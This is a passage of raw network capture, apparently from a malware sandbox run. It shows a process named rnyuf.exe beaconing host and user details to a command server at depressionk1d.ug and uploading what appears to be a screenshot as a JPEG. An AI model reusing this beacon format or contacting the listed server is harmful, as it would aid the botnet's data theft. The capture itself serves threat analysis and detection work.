65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:13.650681973 CET	10972	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.4	50094	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:13.796094894 CET	10990	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:13.821192980 CET	10990	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.4	50095	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:13.965653896 CET	10991	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:13.990986109 CET	10991	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.4	50096	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:14.123087883 CET	10992	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:14.152192116 CET	10992	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.4	50097	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:14.298930883 CET	10993	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:14.324970961 CET	10993	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.4	50098	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:14.468441963 CET	10994	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:14.493515968 CET	10994	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.4	50099	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:14.624311924 CET	10995	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:14.650727034 CET	10995	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.4	50100	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:14.747457027 CET	10996	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:14.747739077 CET	10996	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:14.748147011 CET	11006	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:14.748471022 CET	11009	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:14.770673990 CET	11012	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:14.770721912 CET	11015	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:14.770783901 CET	11020	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:14.770828009 CET	11023	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:14.770924091 CET	11025	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:14.770989895 CET	11028	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:24:14.771055937 CET	11032	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:14.841420889 CET	11107	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:14 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.4	50101	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:14.781004906 CET	11035	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:14.807163954 CET	11087	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49812	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:25.368278027 CET	3451	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:25.368421078 CET	3451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:25.368668079 CET	3462	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:25.368849993 CET	3464	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:25.391258955 CET	3470	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:25.391324043 CET	3478	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:25.391372919 CET	3487	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:25.391443014 CET	3490	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:25.414019108 CET	3504	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:25.414094925 CET	3517	OUT	Data Raw: d1 0a 29 c2 80 28 02 a0 d1 21 45 2e 38 a0 0a 5c 71 48 a1 cb 52 2d 30 0c 53 85 4b 2d 12 0a 95 7a 54 42 a4 02 b3 66 d1 24 a5 c7 14 d1 4e 15 0c b1 40 af 29 f8 a7 f7 ad 3d dd cf f2 af 57 1d 6b ca 3e 2a 63 cc b2 fa bf f4 ad 68 7c 44 55 e8 78 ae 68 cf Data Ascii: )(!E.8\qHR-0SK-zTBf$N@)=Wk>*ch\|DUxh+M@<Gy%jng#3u\ ua[Of.<^5dUWVGQS[vPo+43=4ohdy6\|\|MbzC\CW?9+
Nov 12, 2021 22:23:25.414124966 CET	3525	OUT	Data Raw: 40 f9 fd d4 9e 8a 2b e6 80 6b d2 c0 fc 2c 75 3e 08 fc c5 3c 52 67 9a 42 79 a5 ae e3 01 c2 96 90 52 d3 10 51 9a 42 68 a2 e0 28 a5 ed 40 a2 98 80 f5 a7 af 4a 6d 2e 4d 34 26 3f 3c d1 4d 06 94 1c 9a 62 1d 47 4a 41 4b 4c 42 d0 29 05 2d 02 1c 29 45 36 Data Ascii: @+k,u><RgByRQBh(@Jm.M4&?<MbGJAKLB)-)E6%4P!iiE0Gd.ifXRx5H~iKM=(hCN(p4NUE-4t!4)D9S(D4hP4)<U"1NRLQK@
Nov 12, 2021 22:23:25.463368893 CET	3561	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:25 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.4	50102	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:14.934690952 CET	11107	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:14.957397938 CET	11109	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:14 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 